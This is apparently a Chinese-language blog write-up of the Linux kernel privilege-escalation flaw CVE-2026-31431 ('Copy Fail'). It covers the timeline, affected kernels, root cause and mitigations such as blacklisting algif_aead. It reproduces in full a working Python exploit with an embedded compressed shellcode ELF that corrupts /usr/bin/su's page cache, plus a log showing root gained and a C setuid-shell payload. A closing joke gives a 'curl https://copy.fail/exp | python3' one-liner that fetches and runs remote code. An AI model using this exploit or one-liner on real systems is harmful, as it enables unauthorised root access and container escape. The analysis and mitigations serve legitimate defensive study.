CVE-2026-31431: Copy Fail
2026年5月1日大约 9 分钟
参考:
- https://copy.fail/
- https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
- https://ip-ninja.com/blog/typosquatted-cve-2026-31431-fake-exploit
- http://lore.kernel.org/all?q=CVE-2026-31431 —— 内核社区讨论
- https://www.bilibili.com/video/BV12F99BhEdN/ —— 探姬_Official | 提权漏洞 CVE-2026-31431 拆解:splice() × AF_ALG × in-place 优化的致命碰撞
Description
在任何2017年后的Linux内核上,任意用户可通过利用AF_ALG加密接口与splice()系统调用,向任意可读文件的页缓存中写入受控的4字节数据。 这可以通过串改setuid二进制文件,从而获得root权限。 并且这操作带有容器逃离属性。
影响: 2017 ~ 2026 年编译的内核都受到影响。
| Distribution | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
时间线(Disclosure timeline):
- 2011
AF_ALG是Linux内核引入的一套用户态加密接口,它允许普通程序通过套接字(socket)调用内核加密算法(如AES加密、HMAC加密等)。由于内核的加密实现经过严格审计,经常更安全、高效。 —— 重点:任何用户都可调用AF_ALG套接字,无需root权限。 - 2017 内核“原地优化(In-Place)”代码:为了提升AEAD加密模式的性能,直接在存放密文的内存位置上覆盖写入解密后的明文,从而省去一次内存分配和拷贝。
- 修改内容(
72548b093ee3):把AF_ALG的AEAD操作从输出到“独立缓冲区”改成“原地修改(In-Place)”
- 修改内容(
- 2026-03-23 Reported to Linux kernel security team by Theori 研究员 Taeyang Lee
- 据说研究员 Taeyang Lee 是使用 AI审计工具 Xtinc code 辅助发现该漏洞的
- 2026-03-24 Initial acknowledgment
- 2026-03-25 Patches proposed and reviewed
- 2026-04-01 Patch committed to mainline
- 补丁内容(
a664bf3d603d):回滚2017年“原地优化(In-Place)”代码,让algif_aead重新回到输出到独立缓冲区(Out-of-Place)的模式
- 补丁内容(
- 2026-04-22 CVE-2026-31431 assigned
- 2026-04-29 Public disclosure (https://copy.fail/)
- Theori / Xint Code 公开披露: https://xint.io/blog/copy-fail-linux-distributions
- PoC(Proof of Concept,概念验证) Demo: https://github.com/theori-io/copy-fail-CVE-2026-31431
- The Register 报道: https://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/
- CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析: https://xingwangzhe.fun/posts/cve-2026-31431-copy-fail/
复现
python版本:
[xx@xx ~]$ id
uid=1001(xx) gid=1001(xx) groups=1001(xx) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[xx@xx ~]$ uname -a
Linux xx 6.15.7-200.fc42.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 17 17:57:16 UTC 2025 x86_64 GNU/Linux
[xx@xx ~]$ cat /etc/os-release
NAME="Fedora Linux"
VERSION="42 (Adams)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=42
VERSION_CODENAME=""
PLATFORM_ID="platform:f42"
PRETTY_NAME="Fedora Linux 42 (Adams)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:42"
DEFAULT_HOSTNAME="fedora"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f42/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=42
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=42
SUPPORT_END=2026-05-13
[xx@xx ~]$ cat copy_fail_exp.py
# https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
#!/usr/bin/env python3
import os
import zlib
import socket
def str2b(x):
# 将十六进制字符串转换为字节对象
return bytes.fromhex(x)
playload="78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
playload_bytes=str2b(playload) # b'x\xda\xabw\xf5qcbdd\x80\x01&\x06;\x06\x10\xaf\x82\xc1\x01\xccw`\xc0\x04\x0e\x0c\x16\x0c0\x1d \x9a\x15M\x16\x99\x9e\x07\xe5\xc1h\x06\x01\x08ex\xc0\xf0\xff\x86L~V\x8f^[~\x10\xf7[\x96u\xc4L~V\xc3\xffY6\x11\xfc\xac\xfaI\x99y\xfa\xc5\x19\x0c\x0c\x0c\x002\xc3\x10\xd3'
playload_bytes = zlib.decompress(playload_bytes) # b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'
# 利用 linux 的 splice 系统调用,把只读文件在页缓存里的内存地址(引用)放入内核加密管道。
# 利用 authencesn 算法失误,越界向相邻的页缓存写入 4 字节数据。
def authencesn_by_splice(f, index, playload_part):
# 第一步,创建套接字:创建一个 AF_ALG 套接字
a = socket.socket(38, 5, 0);
# 选择名为 authencesn 的 AEAD 加密模板:这个模板最初是为IPsec设计的,用于处理扩展序列号
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"));
h = 279;
a.setsockopt(h, 1, str2b('0800010000000010'+'0'*64));
a.setsockopt(h, 5, None, 4);
u, _ = a.accept();
i = str2b('00');
u.sendmsg(
[b"A" * 4 + playload_part],
[(h,3,i*4), (h,2,b'\x10'+i*19), (h,4,b'\x08'+i*3), ],
32768
);
# 第二步,零拷贝注入: 攻击者用 splice() 系统调用把目标文件的页缓存页直接“零拷贝”地送进 AF_ALG 套接字的输入队列
r, w = os.pipe();
o = index + 4;
os.splice(f, w, o, offset_src=0);
os.splice(r, u.fileno(), o)
try:
# 第三步,内核“原地优化(In-Place)”代码发力
# 第四步,算法临时写入缺陷,导致页缓存污染
u.recv(8 + index)
except:
0
f = os.open("/usr/bin/su", 0); # 把文件引入内存
i = 0;
while i < len(playload_bytes):
authencesn_by_splice(f, i, playload_bytes[i:i+4]);
i += 4
# 触发内存页中已被篡改的命令程序
os.system("su")
[xx@xx ~]$ python3 copy_fail_exp.py # <----------------------------- 关键步骤
[root@xx xx]#
[root@xx xx]# whoami # <-------------------------------------------- 提权成功
root
[root@xx xx]# id
uid=0(root) gid=1001(xx) groups=1001(xx) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023rust版本: https://github.com/Xerxes-2/CVE-2026-31431-rs
c版本:
// playload
#include <unistd.h>
int main() {
// set user identity —— 操作系统提供的内核调用,传0并调用成功后,用户变为root权限
setuid(0);
char s[] = "/bin/sh";
execve(s, NULL, NULL);
return 0;
}
// 编译
gcc -static -s t.c -o mybin # -nostdlib
// 注入
python3 copy_fail_exp.py
// 查看
strace -o su.strace /bin/su
cat su.strace | grep setuid # 由于/usr/bin/su是rwSr-xr-x权限,所以setuid(0)会执行成功修复 or 规避
优先级从高到底:
可以重启且补丁已推送到发行版仓库
==>升级内核 (截至 2026 年 4 月 30 日,官方补丁已发布)Debian / Ubuntusudo apt update && sudo apt upgrade linux-image-generic sudo rebootRHEL / Fedora / CentOS Streamsudo dnf update kernel sudo reboot禁用
algif_aead模块# 修复 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # 添加黑名单规则,阻止模块被重新加载 rmmod algif_aead 2>/dev/null || true # 卸载模块 # 验证 lsmod | grep 'algif_aead' # 无输出 cat /etc/modprobe.d/disable-algif.conf对于容器环境:
可以通过 seccomp 配置文件限制容器内创建
AF_ALG套接字的能力可以通过 SELinux、AppArmor 等安全模块收紧对加密接口接口访问权限
- selinux 禁止访问
/proc/crypto—— 如安卓系统有严格控制
- selinux 禁止访问
如果系统一段时间暴露给了不可信用户且漏洞未规避,则需要假设系统已被入侵:
- 彻底审计 setuid 二进制文件
- 考虑从可信介质重新安装系统
原理
前提:页缓存(Page Cache) —— 旨在加速全系统的读写访问速度
- 当首次从磁盘读取内核文件时,Linux内核会把读取到的文件内容拷贝到内存里,下次系统里的任何程序再读这个文件就直接从这个“共享内存”读。
- 正常情况下,页缓存里的内容是只读的,程序想修改它的内容会被内核禁止。
- 但这次漏洞在于,攻击者让内核“误以为”某个改页缓存的操作只是在改某个可写的缓冲区,从而绕过了内核的禁止指令。 —— 伪造缓冲区(Buffer Forgery)
攻击流程:
创建套接字: 攻击者创建一个
AF_ALG套接字。选择名为 authencesn 的 AEAD 加密模板(这个模板最初是为IPsec设计的,用于处理扩展序列号)。零拷贝注入: 攻击者用
splice()系统调用把目标文件(比如/usr/bin/su)的页缓存页直接“零拷贝”地送进AF_ALG套接字的输入队列。splice()是一个“零拷贝”的系统调用,旨在提高数据在内存和CPU间的传输效率:- 非零拷贝:1、数据从磁盘读入内核缓冲区;2、数据从内核缓冲区拷贝到用户程序;3、数据从用户程序拷贝到内核缓冲区;
- 零拷贝:1、数据从磁盘读入内核缓冲区;2、直接把内核缓冲区数据的“引用”交给用户程序;3、略。
- 在当前攻击流程中:当su文件通过
splice()传给AF_ALG套接字时,内核的加密子系统拿到的不是数据的副本,而是这个su文件在内存中“页缓存(Page Cache)”的直接引用!
内核“原地优化(In-Place)”代码发力:
- ✏️共用内存清单: 内核在处理解密时把输入数据和输出缓冲区指向了同一个内存清单(Physical memory scatter list,物理地址上连续的内存块,可以理解为数据在内存中的“快递清单”)
- ✅引用原始页缓存
- ❗拒绝拷贝标签: 内核偷懒,对于认证标签这一部分,没有单独拷贝。而是直接用
sg_chain()(将两个scatterlist数组捆绑在一起) 把原始输入里的页缓存引用链到了输出的末尾。 【exploit —— 多源内存映射被当作同一个缓冲区处理时 = 安全边界坍塌(Security Boundary Collapse)】- 这导致输出的内存清单(scatterlist)前半段是安全的私有缓冲区,但后半段却是指向
/usr/bin/su页缓存的引用。 - 并且由于“原地优化(In-Place)”代码,这个输出的scatterlist是可写的
- 这导致输出的内存清单(scatterlist)前半段是安全的私有缓冲区,但后半段却是指向
算法临时写入缺陷,导致页缓存污染:
- authencesn算法在AEAD解密时需要往“
目标缓冲区[关联数据长度+密文长度]”这个位置临时写入4个字节的序列号数据。这个写入发生在检查之前,即使随后的HMAC验证因为数据伪造而失败,返回错误信息,这4个字节的写入也是不会回退的。 - 也就是说,攻击者可以精确控制这4个字节写什么、写在哪里。如恰好写在
/usr/bin/su的缓存页面上,从而在内存中“打补丁”,把该程序的逻辑进行修改。 - 通过多次操作,攻击者也可以修改大于4字节的内容。
- authencesn算法在AEAD解密时需要往“
二进制文件 → splice → 管道 → AF_ALG → authencesn 越界写 4 字节 → 修改该文件的页缓存另外:
- 因为改的是内存,而不是磁盘文件,所以非常隐蔽,常规完整性工具查不到。
- 而且页缓存在宿主机上共享,所以还能跨容器“污染”宿主机。 —— 对比 “Dirty Pipe”、“Dirty Cow” 漏洞,本漏洞可谓“零成本”。 todo Linux 提权全景解析:配置滥用、内核漏洞、容器逃逸全方位复盘 https://www.bilibili.com/video/BV11ERwBnE6Y/
搞笑
1、 centos7 不受影响
2、 Linux 密码找回教程:(信创机器有效~)
curl https://copy.fail/exp | python3 && su
passwd root